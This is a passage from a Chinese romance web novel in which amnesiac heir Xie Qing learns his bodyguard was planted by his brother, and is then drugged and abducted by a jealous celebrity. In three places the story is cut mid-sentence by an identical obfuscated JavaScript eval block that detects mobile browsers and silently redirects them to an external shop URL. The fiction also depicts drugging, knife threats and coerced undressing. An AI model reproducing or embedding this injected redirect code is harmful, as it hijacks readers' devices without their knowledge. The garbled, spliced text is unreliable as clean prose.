宋岩叹了口气:“……你说的对,严恺骗你的,是我勾引你。” “哼,我就知道。”谢清抱着胳膊不高兴地乜他,“那你为什么要假结婚?” 宋岩缓缓蹲下来,单膝跪在床边,一只手去扶谢清的膝盖,仰头去看他逆着月光的轮廓,眼中溢出些许自己难以察觉的柔情。 “问你话呢。”谢清不客气踩了他一脚。 “这很好推断吧,为了混淆大少爷的视听。”宋岩握住了谢清的一只脚,用手捂了一下,“又这么冰,你总是不听话。” 谢清抽出脚,抵在宋岩胸口冷冷地问:“那天晚上严恺入室偷袭我,你是知情的?” 宋岩沉默了一会儿:“是我授意的。” “什么?”谢清怒向胆边生,重重在他胸口踩了他一脚,“宋岩,你什么意思?别以为你是爸爸留下的心腹,在谢家就能凌驾在我之上,随便欺负我了!” “怎么会呢,不是这样,小少爷。”宋岩按住他的脚背,岿然不肯后退,“我是为了留在你身边。如果不那么做,大少爷怎么会调保镖来谢宅?” 谢清怔了一下,就在宋岩要去低头吻他的脚背时,他迅速抽出腿缩回床上,被子一盖,闷声:“话问完了,我困了,你走吧。” “就只是问这个?” 宋岩久久跪在床边,得不到谢清的回答,叹气:“早点想起来吧,我们其实很相爱。”他站起身,单膝上床,一只手撑在了谢清枕边,谢清紧紧闭着眼睛装睡,宋严岩不拆穿,低头在他发上吻了一下:“宝宝,晚安。” 9. 第 9 章 宋岩一走,谢清睁开眼睛从床上坐起来,冰蓝的月光洒卧室里,寂静的没了时间流逝的概念。 他想起来一点点丢失的记忆,想起也是这么一个安静的夜晚,他睡在宋岩出租屋的矮床上,翻一下身,那床就咯吱咯吱响,手脚都伸不开。 宋岩怕他掉下来,在底下铺了两床厚厚的被子。 老旧的窗帘不遮光,白天会被太阳亮醒,于是他戴了眼罩。后半夜突然有几个男人破窗而入,他被吵醒,揭开眼罩的瞬间,看到明晃晃的刀尖朝自己挥下来。 他尖叫一声滚下了床,到处摸索,抓起了一个玻璃花瓶。宋岩冲了进来和那群男人扭打在一起,严恺也进来了,但当时他是第一次见这个人,黑暗里分不清敌我,一花瓶砸到了严恺脑门上。 严恺臭骂了两句,头晕栽倒在地。灯打开,他看见一地血,宋岩跑过来抱起他:“宝宝,这里也不安全了,收拾一下衣服,我们今晚就走。” 记忆就在这里断片,谢清抱住脑袋有些头痛。 他想不明白,自己最不能吃苦了,怎么和宋岩去住那种老破小,怎么会有人要他的命,他可是堂堂谢家二少爷。 - 第二天谢呈冰果然要带着谢清去公司。 谢清赖在床上不肯起来,谢呈冰就坐在他旁边开始和助理通电话:“晨会推迟一个小时,我弟弟……” 谢清“唰”地起身:“我去我去我去。” 要是让公司那群股东知道谢呈冰因为他推迟会议,还不把他皮给扒了。 谢清穿好衣服,谢呈冰又给他戴上帽子和口罩,武装的像个绯闻明星。 谢清抗议,谢呈冰就说:“你忘了?外面不知道有什么坏东西暗中盯着你,要把你从我身边……要伤害你呢。你要紧紧跟在我左右,别叫人看到。” “夸张死了。”谢清小声抱怨。 谢呈冰甚至打算安排十几个保镖,里三层外三层把谢清密不透风的保护起来,移动去公司,宋岩及时提议:“大少爷,这么做不是更明显了么?秦家和连家肯定时刻盯着你身边,按我的经验,到公司以后你照常进去,先让小少爷留在车里,我开着车绕一圈把该甩的尾巴甩掉,再偷偷送小少爷上楼。” 谢呈冰采纳了这个主意。 到公司后,其他保镖跟着谢呈冰从正门进了大楼,宋岩开车载着昏昏欲睡的谢清进了地下车库。 谢清被叫醒时不情不愿的,一看哥哥不在了,立马打起精神:“岩哥,你就睁一只眼闭一只眼,让我走吧,我才不想去公司在我哥办公室一坐坐一天呢。” “不行。”宋岩拉开车门,从后面钻进来,凑到谢清身边,“刚刚叫我什么?” “岩哥。”谢清软软地叫他,乖巧眨眨眼。 宋岩喉间发出闷笑:“学聪明了,还是想起来了?” “我记得我好像是这么叫你的,对吧。”谢清抱着他的胳膊晃了两下,“岩哥,就放我走吧。” 宋岩搂住他的腰往自己身上贴:“真不行,乖一点。”在谢清发脾气前,他及时咬了下对方耳朵,“你先上去,等中间找个机会,我再带你偷偷溜出来。” 谢清转怒为喜:“真的?” “什么时候骗过你?” “我就知道岩哥最好了。” 宋岩笑得耐人寻味起来:“那怎么和岩哥表达一下感谢?” 谢清轻哼一声:“你想怎么样。” 宋岩点点脸颊:“亲我一下。” 没想到谢清当即说:“好啊,你把眼睛闭起来。” 宋岩从善如流。谢清转身从口袋里取出一颗怪味糖含进嘴里,贴着宋岩的嘴唇就亲了上去。 宋岩猛地睁开眼睛,看见谢清近在咫尺笑得狡黠的眼睛,湿滑的舌尖撬开唇齿,递了颗辣劲十足的硬糖来。 谢清一触即离,随即捧腹大笑:“不许吐!吐了我就再也不亲你了。” 宋岩面部扭曲,硬生生把糖嚼碎咽了下去。 谢清踢踢他的腿:“好了,让开,我下车了。” 宋岩却贴得更近,像天鹅交颈似的,脸颊不停摩挲谢清的头发,谢清忽然察觉到他某处的反应,笑容僵在嘴角。 “你是变态吗??这都能……那样……” 宋岩伸手拉下他的裤子,谢清吓了一跳,声音都变调了:“你干嘛?!这是在车上!!” “不在车上就可以了?” “哪里都不行!” 宋岩低低笑出声:“好了安静点,别乱扭,我不碰你,只是讨要点信物。” “信个鬼的物!你……”谢清愣是被宋岩死死按在车后座,先是扒了外面的,再是扒了里面的,脸涨得跟熟透的番茄似的,紧紧拽着上衣遮住白花花的两瓣,“宋岩我没看出来,你居然是个臭流氓!” “我一直都是,只是你忘了。”宋岩在谢清脸上用力亲了一下,揣着到手的“信物”钻出了车,“好了,自己上去吧。等我联系你。” 他走出两步,回头看向车子:“千万别让你哥发现啊,还有,要是敢在我联系你之前提前跑了,我就把信物挂到公司大门口去。” “滚啊臭流氓!” 谢清坐在车里,拿着手机又给宋岩狂发了十几条骂人的话。 “笃笃。” 忽然有人站在车门外敲打车窗。 谢清没好气地抬头一看,居然是严恺。这家伙还敢到他眼前现?谢清不理他,假装里面没人,从外面应该看不到里面。 “出来,我知道你在里面。” 谢清还是不搭理。 没想到严恺有车钥匙,从外面控制摇下了车窗,谢清的腿还裸露着,匆忙拉下衣服遮了遮,严恺脸色跟条变色龙一样五彩缤纷:“大早上就在这儿玩车震?” “狗嘴里吐不出象牙。”谢清要把车窗摇起来,被严恺伸手挡在玻璃上面。 谢清:“夹断了我可不管。” 严恺冷笑一声:“没事,你夹,用力夹,老子拜你所赐的伤还少吗?” 谢清顿了一下,先是注意到他虎口没消下去的齿痕,又看向他的头。 “你也太记仇了吧,记仇的男人命不好。”谢清稍微有点心虚,移开了眼睛。 严恺简直气不打一处来,做他们这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173519|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行谁身上不带点伤,但弟兄们的伤要么是跟高手过招时互留的,要么是九死一生时产生的,就他,次次都是因为这个小少爷! “你是不是想起来以前的事了?”严恺踹了一脚车门,“出来,咱们的账一笔笔算。” “算什么,你强迫我拍了照片我说什么了吗?你夜袭我让你蹲拘留所了吗?我多大度啊。” “你大度,你真他妈大度!”严恺又踹了车门一脚,“出来!” 得亏这车质量好,不然早该他赔钱了。 谢清攥着手机在想要不要把宋岩叫回来,捡走这个狂犬症患者。 严恺看他半天不出来,直接退后两步,一个俯冲,撑着玻璃一跃,像古早武打电影那样利落翻身跳进了车里。 “你有病啊!!”谢清马上从另一侧拉开车门,被严恺“哐”一声拽合。 “裤子都不穿想上哪儿去?” 谢清高声威胁:“我警告你,我才看在岩哥面子上放过你,你敢动手的话,就不是卸职这么简单的了!” 严恺看着他瞪仇人一样的眼神,不知从哪里一股一股邪火往上窜。怎么谢清在宋岩面前就能说会笑,一到他这儿不是动口就是动手。 第一次见面的时候也是,明明好心冲过来救他……好心被当成驴肝肺!他长得就这么像坏人?! “岩哥,满嘴就知道岩哥,我也是你严哥!我的话你当耳旁风是不是?我说过什么?让你不要再去勾引他!” “两情相悦怎么叫勾引呢?” “两情相悦……”严恺表情狰狞的吓人,“好,你还真是想起来了,但不多。” “什么意思?”谢清皱眉,“算了你别说,我不想听,你的话没一句真的。” “那你难道就不好奇,他一介谢家的保镖,怎么敢来喜欢你?”严恺恶狠狠在他耳边喊,“你真以为他喜欢你!” 谢清飞快穿好裤子,开门就走。 这次严恺没拦他:“他那么忠心耿耿的人,怎么可能违背家训?除非,他接近你本来就是家主的任务——” 谢清回过头,眼神异常冰冷:“我劝你骗人也要讲基本法,爸爸干嘛下达这种任务?” “不是谢老爷,是新的谢氏继承人,你的好哥哥。” 谢清垂在身侧的手突然抖了一下。 “你胡说,我哥又有什么理由?” 他不想听下去了,想转身就冲进电梯里面,铁门一关,什么声音都进不来。 但另一道声音也在脑海里说:怕什么,就听听看他还想怎么编。哥哥很爱我,哥哥不会做那种奇怪的事。 严恺观察着谢清的表情,终于提起嘴角,露出一贯邪气的笑:“你再努力想一想啊,想想自己为什么逃出谢家,为什么遭人追杀,想想为了骗你回家,你哥哥是怎么往你身边安插了一个——” “说够了吗?” 宋岩一脸煞气地从电梯里走出来,脚步沉得像铁,目光如刀子一般刮着严恺,要生生把他戳出几个血窟窿来。 冰窖都没有他周身的气温低。 “宝宝,你先上去,大少爷在找你了。” 10. 第 10 章 谢清进电梯的时候,听见身后拳头打在肉身上的钝声,紧接着不知道谁的车被撞响了警报,整个地库都回荡着那个动静。 谢清丝毫不关心,满脑子想的是谢呈冰紧紧握着他的手在爸爸墓前说要照顾他一辈子。 谢呈冰怎么可能和他闹矛盾? 小时候有什么好东西谢呈冰都是让给他的。 虽然后来他知道,那些东西再怎么让,本质都是属于谢呈冰的,轮不到他拥有,爸爸有时候看似偏爱他,也是因为更看重真正的继承人,培养大儿子的吃苦耐劳罢了。 时候到了,就什么都是谢呈冰的了。 其实换位思考一下,他也不想有个野生弟弟突然冒出来和他抢东抢西,甚至还要分走他们家的遗产。 唯一不同的是,他如果是亲生的,被野生弟弟抢了东西,当场就会给对方一巴掌。 但谢呈冰比较擅长忍耐。 电梯停在董事长办公室所在的楼层,门一开,谢呈冰人就站在门口,看见弟弟,紧皱的眉头才稍稍舒展了。 “怎么这么慢才上来?” 谢呈冰无比自然地牵起谢清的手。 谢清把手抽了回来背在身后:“哥,我这么大个人了自己会认路。” 谢呈冰停下脚步看了他一会儿,看的谢清都有些懊恼刚才的反应了,视线左晃右晃想着找补的词儿。 “早上没让你睡懒觉,现在还生气?” 谢清连忙点头:“对啊,你真过分。” 谢呈冰重新把他的手从背后拉出来,握进掌心里:“去我的休息室睡吧,有床,不够软现在叫人给你铺。” 休息室就在谢呈冰的办公室里,用布帘和高雅的屏风简单划分出来,里面躺着张单人床。 谢呈冰从衣柜里取出一套三丽鸥睡衣,一看就不是他自己的风格。 “是你的尺码,我在网上看到很适合你就买来了,正好你可以穿。” “给我买的不带回家,放这干嘛呀。”谢清一边吐槽,一边就换掉了上衣。 打算换睡裤的时候陡然想起来自己还是挂空挡的状态。 “……哥你别看我了,去工作吧。” 谢呈冰站着不动,谢清就也尴尬地举着睡裤迟迟不换。 僵持了一会儿,谢呈冰终于退出屏风:“欣欣长大了,知道害羞了。” “我早就长大了!还有,说了不许叫那个名字了。” 谢清把睡裤扔在一边,开始打量休息室的环境。 有一扇窗,他走过去时发现把手处被人用透明胶封住了。 他奇怪地问:“哥,为什么这里面不给开窗啊?” 谢呈冰突然快步走了回来,步伐仓促,差点撞到屏风,吓了谢清一跳。 “防止有人跳窗。” 谢清被他哥拉回床边按着肩坐下。 “睡吧,别到处乱看了。” 谢清真觉得谢呈冰古怪极了,打从医院回来以后,就总是强调什么别乱跑、别出门、别离开我视线范围之类的话。 这休息室有什么机密不能给他看的?就光秃秃的墙和柜子,孤零零一张床,还有什么?有暗格吗?有凶杀案现场吗?打开窗透透气都不行吗? 谢清胸口烦闷,推开谢呈冰的手:“知道啦!我就一动不动坐在这里一直到你下班,行了吧?” 谢呈冰沉默了一会儿,转身:“我去给你拿杯果汁。” 果汁拿来后,谢呈冰看着谢清喝下才出去。 谢清没坐一会儿真觉得困了,看了眼手机,反正也才九点,就躺进了床上睡回笼觉了。 再醒过来是被人用力晃醒的,谢清特别生气地睁开眼睛,聚焦了一会儿,发现是宋岩。 宋岩眉心紧锁,用他很不能理解的表情看着他:“快起来,你知道你睡了多久吗?” 谢清迷迷糊糊揉了揉眼睛,直到宋岩把手机屏幕展示在他眼前:下午16点07分。 谢清突然就惊醒了:“怎、怎么会睡这么久?我也没这么困啊……我哥居然不叫我吃午饭?” “他叫了,只是你没醒来。” 窗台上还放着保温饭盒,想来是谢呈冰留给他的。 “大少爷去开会了,我给你发消息让你出来你一直不回。” 谢清这才查阅手机,发现了十几条未读,都是宋岩发的。 “下次别再喝他给你的东西。”宋岩望着桌上的果汁空杯说。 谢清猛然抬头瞪向他:“你什么意思?” 宋岩沉默下来。休息室里窒息持续了一段时间,谢清才问:“早上严恺说的话——”他声音听起来镇定,可手已紧紧拽皱了床单。 “他故意误导你的,不用听。” 谢清死死盯着宋岩的眼睛:“那你说,什么才是真的。不要骗我,你要是有一句敢骗我……”他一时间竟然想不出自己有什么能拿来威胁,惶然片刻,讲出了最无力的警告,“你要是敢骗我,等我想起来,我一定再也不理你了。” 宋岩面露痛色:“别这样宝宝。” “别叫我宝宝!”谢清冷下一张脸,“苦了你了啊,对着不喜欢的人一直叫宝宝?” 他说这句话时其实特别希望宋岩否定他,记忆虽然没找回来,可他对宋岩一直有朦胧的好感,所以认定自己失忆前是真心喜欢他的,假结婚的事他一下就信了。 然而宋岩垂着头,一副内疚不已的神情。 谢清当即坐不住了,走到窗台边拿起保温饭盒砸到他身上,铁盒子“哐啷啷”摔在地上,饭菜洒了一地,宋岩任由他发了好一会脾气,才说:“一开始的确是因为任务接近你,大少爷不想你和外面乱七八糟的男人谈恋爱,就让我在你身边监视他们,后来发现你对我也感兴趣……咳,大少爷就吩咐,让我给你个教训,让你知道外面的男人都是骗子,自然会心甘情愿回去找他了。” 谢清听来只觉得荒诞不羁:“怎么个教训法?” “等你喜欢上我,再甩了你……”宋岩紧跟着解释,“但我没有要甩你!我已经……真心喜欢你了。” 谢清垂下眼睫,盯着休息室的地砖不说话。 宋岩有些着急:“我假结婚一开始也是为了拒绝接这个任务,我不想骗你感情,一点也不想!只是没想到……因为我说很爱我妻子,大少爷反而更满意了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173520|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “够了。”谢清说,“你的意思是,我哥其实是个控制狂,连我和别人谈恋爱都不许,所以我离家出走了是吗?” 他问这话时嗓音有点颤抖,如果说得知宋岩蓄意接近他只是任务,他心情有点麻木,那么谢呈冰的部分又让他再度紧张起来。 他不相信他和哥哥之间会有什么遗产纠纷,到……需要追杀他的地步。 相比之下,一向温柔的哥哥真面目其实是控制狂,反倒没那么难以接受了。 好在这一次宋岩没有说出他害怕听的话来:“有一部分这个原因,另一部分……” 谢清慌乱地想打断他后面的话。 宋岩犹豫了一下,说:“另一部分不重要,主要就是因为这个。” 谢清终于松了口气,身体都瘫软下去:“那,我记得在你家的时候我被人追杀过,那些人是?” “你想起了那些?”宋岩说,“那是秦家的人。” 谢清脑中模糊的浮现出秦屿那天在医院的画面,他对这人没有过多记忆,因此也没太大触动,“哦”了一声。 轮到宋岩忐忑不安起来:“我说完了,一句也没有骗你。还有,宝宝,我喜欢你。” 谢清侧过身子:“你走吧,我不想看见你。” 宋岩跨上来一步抱住了谢清:“别这样。”他按住谢清的后脑勺强行索吻,在谢清反感的目光中,只敢在他的嘴唇周围落下轻的不能再轻的触碰,“别这样宝贝,你是喜欢我的。” “按你说的,我喜欢的好像不止你一个。”谢清冷淡地说,“说不定我只是为了和哥哥作对?” “不是那样!” 休息室外面突然传来有人开锁的声音,敢在总裁办公室反锁的情况下开锁的只有一个人。 谢清慌乱去推宋岩:“快起来,你先藏起来别叫我哥发现!” 宋岩的双臂牢牢锁着谢清,嘴唇沿着他白皙的脸蛋滑到下巴,再到锁骨,最后心有不甘地用力张嘴含住一小块肌肤,连吸带咬的,直到留下一枚湿漉漉的印记。 谢清气得连踹他几脚,推搡着把人塞进了衣柜里面。 柜门刚合上,谢呈冰就绕过屏风快步走过来。 “哥……” 谢清尽量维持寻常的模样和他对视。 谢呈冰看了眼地上狼藉的饭菜,视线环绕着休息室走了一圈,看向了衣柜。谢清吓得不轻,忙上前拉住哥哥的手:“哥,你去哪儿了?我醒来找不到你,一急摔了盒饭,对不起嘛。” 谢呈冰神色稍缓,摸了摸谢清的脸:“没关系,我叫保洁来清理掉。我只是去开会,怕你醒来找不到我,已经快速结束了。” “嗯。”谢清借着向后坐的趋势不着痕迹抽出了手,“哥,我今天怎么这么能睡,你都叫不醒我吗?” “是你早上起太早了,人就是容易越睡越困,很正常。” 谢呈冰神色语气也正常的不能再正常:“饿了没有?我再叫人送饭上来,今天公司食堂都是你爱吃的。” “那你工作吧,我自己去食堂吃,好不?” 谢呈冰不说话了,眼睛一眨不眨盯着他的领口看。 11. 第 11 章 谢清悚然一惊,下意识缩了缩脖子。宋岩留下印子了?也对,刚刚那么用力,没留下才怪! 他喉咙发紧说不出话来,要按他过去的脾气,直接就大吵大闹让谢呈冰少管他了,但是现在,他居然害怕,不敢。 谢呈冰伸手过来时,他都已经想好怎么求饶再卖一次宋岩了。 然而谢呈冰只是替他碾平了一下领口。 谢清呼出一口气。 谢呈冰忽然问:“我不在的时候,有谁来过?” “没有啊。” “是吗?” “对啊,噢,门……门是我反锁的,我出去看了下你在不在附近,回来顺手锁的。” 谢呈冰绕到办公桌去,拿起内线电话,先是叫了个保洁,接着让接线员转给保安室:“调一下今天下午我办公室走廊的监控,拷出来给我。” 谢清难以置信地冲到办公室:“哥!你什么意思?你不相信我吗!” 谢呈冰挡住话筒:“你睡着了,我只是看一下有没有其他人来。” “我说没有就是没有,你要查,我现在就回家!”谢清作势就往门口走,谢呈冰当即喊住他,然后对电话里说:“不用调了,就这样。” 电话挂断,谢清悬着的心落地,一屁股坐进了沙发里,头垂得很低。 谢呈冰看了他几眼,手上不停的处理工作消息。 谢清手机也进来一条陌生消息,带照片的,他以为是垃圾短信,点开来发现照片上的人是他自己,那天在厕所穿着凌乱不堪的女仆装被严恺拍的。 这个发信人的手机同时申请加他微信,他通过后先发了几句脏话过去。 对面的人又发来一张自拍视角的照片,果然是严恺,脸上有两处淤青,估计就是早上被宋岩揍的。 严恺:【又因为你多挨一次揍。】 谢清:【活该!】 谢呈冰的视线从电脑上移过来:“是谁?” “垃圾短信而已。” 谢清快速把手机调了静音,飞快敲打着屏幕,又回了一句:【再说你那是因为我吗?少乱算账。】 严恺:【反正记你头上了。】 消息发送失败。 谢清已经拉黑了对面,切换到游戏界面,把声音重新调了出来。 还在登录呢,谢呈冰又问:“在和谁一起玩?” 谢清莫名其妙看他一眼:“没谁啊,我自己。” “是吗?” 谢清放下手机:“谢呈冰,你最近都好奇怪!我爱和谁玩就和谁玩,不然你就让我出去。” 谢呈冰敲键盘的声音没了,电脑荧幕的光在他脸上不停变幻,但他一动不动。过了好半天,他的手才恢复工作:“我不问了,你玩吧。但是你怀孕了,医生说了要少接触电子产品,少打游戏,不要玩太久,知道吗?” 他就像封建家庭里最窒息的家长管孩子一样,谢清憋着火气进了游戏,发育刚起来就找对面玩家对线,杀完玩家搜刮对方野区,杀完野怪直接越塔,然后被塔点死回基地。 不等队友口吐芬芳,他就强退了游戏。 他把严恺从黑名单里放出来。 【喂,你现在很闲是吗,帮我办个事,办好了我可以让你重回谢家。】 那头显示对方正在输入,输了五分钟,只发过来一个【?】 谢清:【你就说干不干,也不难。】 严恺:【有病吧你,我不给谢家当保镖也有的是活儿。】 谢清:【哦,你现在是在?】 严恺当场给他录了段视频,看背景他正在一个大型商场的自动扶梯上,前后左右都是尖叫不停的明星粉丝,被一群保镖保护在正中间的明星拽的二五八万似的,谢清压根叫不出名字。 严恺的画外音正在说:“看到没,轻轻松……艹给老子退后!挤什么啊这是电梯!” 手机一阵震荡,视角天旋地转,视频也中断了。 消息大概是失手发送了,马上又被撤回了。 谢清捂着嘴,憋笑憋的很难受。 又过了五分钟,新的岁月静好视频重新发过来。 严恺:【看到没,人生易如反掌。】 谢清对着手机翻了个白眼:【给我找一个靠谱的妇科医生,悄悄带来见我,不能让我哥和宋岩知道,事成之后钱少不了你的。你要是敢泄露出去,我就把你那晚做贼的事告诉我哥。】 严恺:【??你来真的?你真觉得自己怀孕了??这事是谁告诉你的?我告诉你,不用找医生,我都能帮你确诊了,确诊为脑子不正常。】 谢清:【你懂什么,听说我没失忆的时候,就预定好要去医院做检查,说不定我自己也对身体变化有什么感觉……】 他字打到一半,突然反应过来,干嘛和严恺说这么多?于是又一个字一个字删掉。 谢清:【你就说干不干。】 严恺:【。】 公司保洁敲了敲门进来了,客客气气和谢氏两兄弟打了招呼,进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173521|150533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了休息室。 谢清突然想起来宋岩还在衣柜里憋着呢,想象了一下他窘迫的样子,心里觉得好笑,就也起身进了休息室。 保洁以为他来视察工作,忙展示出满满的干劲:“小老板,小心别踩着弄脏你的鞋了哈,就是这里要扫对吧?很快的。” “没事张姨,你扫你的。” 张姨喊他小老板,他压根也没这间公司的半分股份和实权,多亏沾了谢呈冰的光。 衣柜里头微微传出些动静,柜门被人推开了一个小缝。 谢清走过去一靠,不留情地把柜子给关了回去:“哎呀张姨,你来扫扫这里,我刚才怎么好像看到一只老鼠?” “什么?有老鼠?我看看。”张姨举着扫帚过来看了一圈,“没有啊?干干净净的。不过刚才好像是有什么声音。” “老鼠贼着呢,可能跑掉了吧。” “小老板放心,等下我再拿消毒剂上来喷一遍。” 谢清还想再揶揄“老鼠”两句,谢呈冰就走了过来:“怎么了?” 谢清赶紧说:“没事,我刚才眼花了。哥你去忙,别管这边。” “忙完了。”谢呈冰说,“走吧,你不是说要去食堂吗,我陪你。” 真就非要寸步不离吗?谢清嘴角耷拉了下来。 谢呈冰紧接着走向衣柜:“我换件外套。” 谢清面色一变,慌忙上前挽住哥哥的手臂:“别换了哥,我饿死了,现在就走。” “很快。” 眼看谢呈冰的手都已经按在了柜门上,谢清抬高了声音:“哥,你这样特帅,我最喜欢看穿西装的男人了,别换了好不好嘛。” 谢呈冰顿住:“帅吗?” 谢清连连点头:“不信你问张姨,帅呆了!是吧张姨?” “对对,老板特别帅!比电视上的模特儿还有型了!” 谢呈冰点点头:“好吧。” 谢清怕他改变主意,赶紧拉着他走出去了。 办公室的门一关,休息室的衣柜就打开了,宋岩从里面走出来,单手叉着口袋,斜靠在柜子上。 张姨吓得差点大喊出声:“宋、宋、宋先生?!” 她感觉自己目击了什么不得了的事情。 宋岩:“穿西装很帅吗?怎么从没见他夸过我?张姨,你说呢,我帅不帅。” 张姨:“帅……帅……” 她用职业生涯里最快的速度打扫完现场,收拾工具低头冲出了总裁办公室。 12. 第 12 章 谢清担心严恺还在记仇,不肯帮他好好办事,但俗话说得好,有钱能使鬼推磨,所以他开出更高的价钱并进行催促。 第三天严恺居然真办成了,发消息约他在公司附近的酒店见。 这两天为了得到谢呈冰的信任,谢清努力表现的乖巧听话,仿佛对外界已经彻底没有兴趣。 所以当他提出要自己去厕所的时候,谢呈冰总算没有放下手上的活跟着一起。 谢清迅速溜去了严恺给的地址,找到正确的房号。 是一个陌生男人给他开的门,男人有一双好看的桃花眼,说话的时候眼睛一直在放电:“是谢先生吧?进来吧,我等你很久了。” “你是医生?”谢清跟着他身后走进酒店房间,“严恺呢?” “我托他下楼卖点东西,你先坐。” 男人引他坐在房间里唯一一张床上,跟着自己也坐到旁边,“哦,忘了自我介绍,我姓袁,袁家文。” “袁医生你好。”谢清一坐下就开始紧张,仿佛已经来到了医院。 袁家文很亲切,说话时总是带着笑,医生能做到这个地步,要么是刚工作,要么是真热爱职业。 谢清怀疑他是做了微笑唇。 “谢先生五官很端正,比例很优秀啊,长成你这样还做什么整形呢?别糟蹋自己的脸啦。” 谢清傻了片刻,腾的站起来:“你是整形医生??” 好个严恺,这么糊弄他是吧?就算不找妇科的,好歹找个沾边的啊! 袁家文仰头看了他一会儿,轻声笑了起来:“我和你开玩笑呢,谢先生,你躺下吧,我帮你检查身体。” 他起身推来一个架子,里面放置了许多医用品,看上去还挺专业的,袁家文已经开始戴乳胶手套。 谢清脸色这才好转,但还是觉得这玩笑不好笑,闷闷不乐躺了下去:“袁医生在哪儿高就?属于哪个科?” “我自己开诊所,现在是家庭医生。普通大小病都能看。” 袁家文说话间好像调配好了什么东西,转身过来,撩起谢清衣服,动作非常干脆迅速,谢清甚至都没看清。 等他反应过来自己似乎被针扎了一下,已经迟了。 袁家文按住他双肩,弯腰在他耳边笑着说:“读书时念的是麻醉科。” 谢清失去意识前最后一个念头是:哥,我再也不乱跑了……如果有来生还当你弟弟……最好是亲弟弟…… 麻醉昏迷的状态下原来也是会做梦的,谢清做了好多梦,一会儿在阿拉斯加的海湾独自漂流,一会儿在圣莫里兹滑雪场坐雪橇。 雪橇翻车了,拉车的大狗子屁颠屁颠跑过来,蹭他拱他,得寸进尺地在他身上舔来舔去,全身粘腻的难受。 谢清慢慢醒过来,意识到自己居然还能重见天日,差点热泪盈眶。 可是很快他就真的哭了,被吓哭的。 一个穿着医用防护服的人用无影灯照住他,手中举起手术刀,缓缓比划了过来。 “呜呜……你能不能重新给我打一次麻醉,我麻醉劲儿过了,不要这时候刀我啊呜呜呜……” 他胡言乱语个不停:“你要切了我的器官拿去卖吗?切肾的话能不能给我留一个,是严恺让你报复我吗?我们也没有那么深刻的仇恨吧呜啊啊呜呜……” 手术刀终于贴上了他的皮肤,冰的他一个激灵,“医生”也开口了:“都说了我最讨厌从你嘴里听见别的男人的名字了,宝宝,怎么这么不长记性?” 谢清愣了半天,终于从男人轮廓中辨识出了什么:“连忆心?” 连忆心摘下口罩,露出那张在娱乐圈红透半边天的脸,天真和邪恶同时在他脸上出现,他控制着刀背不停在谢清身上游走:“那天说好了我等你,你却一个人不见了踪影,宝宝你说,我要怎么惩罚你?” 他稍微用了点力,刀背陷入肌肤:“是划烂这颗狼心?还是捅穿这颗狗肺?” 谢清吓得再次哭起来:“别这样亲爱的,我们不是相爱的吗?难道你不爱我?” “我就是太爱你了,才给了你过多的自由啊,宝宝。我最爱的,就是你现在这副哭断气的样子,爱的恨不能吃你的肉喝你的血呢。” 连忆心脱去了手套,抚摸上谢清精致的锁骨,像在抚摸一件艺术品:“告诉我,这个吻痕是谁留下的?” “是不是这个男人?”他拿起来一个平板,上面显示正在视频通话中,他逼谢清看向画面。 那是在一栋毛坯楼里,到处都是装修垃圾,墙根坐着一个男人,被用麻绳捆住上半身,和连忆心通电话的人拿着镜头靠近,扳起男人的下巴,让谢清看清他的脸。 是严恺。 谢清表情有点复杂,严恺这个废物,原来他自己都不知道自己找来了什么祖宗,害得他现在被迫躺在手术台上! 连忆心的刀来到了谢清面部,贴着脸颊,抹黄油一样正一下,反一下。 “宝宝你说,我是砍了他的手指叫他再也不能碰你,还是戳瞎他的眼睛,叫他再也不能看你?” “你弄错了,我这就是……蚊子咬的……”谢清低头,没看到锁骨上的痕迹,倒是看到胸口多了一片草莓,“你……你是属狗的吗?” 连忆心低低笑了起来:“你是我男朋友,我哪里不能吃?” 下一秒他收敛笑容,翻书一样的快:“别转移话题,快选。” 谢清:“随便你好了,我跟他又不熟。” “真的?如果你替他求求情的话,我说不定会心软呢。” “不了,真不熟。” 连忆心大笑,敲了敲屏幕:“喂,你听见了?” 严恺缓缓睁开眼睛,冲着摄像头露出邪笑。下一刻镜头猛然一晃,持电话的人闷声一哼摔倒在地。 严恺不知道什么时候挣开的绳子,三拳撂倒了围着他的两名壮汉,把其中一个踩在脚下,重新捡起电话举起来,比了个“耶”。 连忆心爆了声粗口:“一群没用的废物!” 严恺:“当绑匪这种活儿啊,建议连先生下次还是找我,我专业。” 谢清大叫起来:“严恺!救我啊严恺!” 连忆心一滑挂断了电话,扭曲地看向谢清:“宝宝真不乖,警告过你了,还敢喊别的男人的名字。” 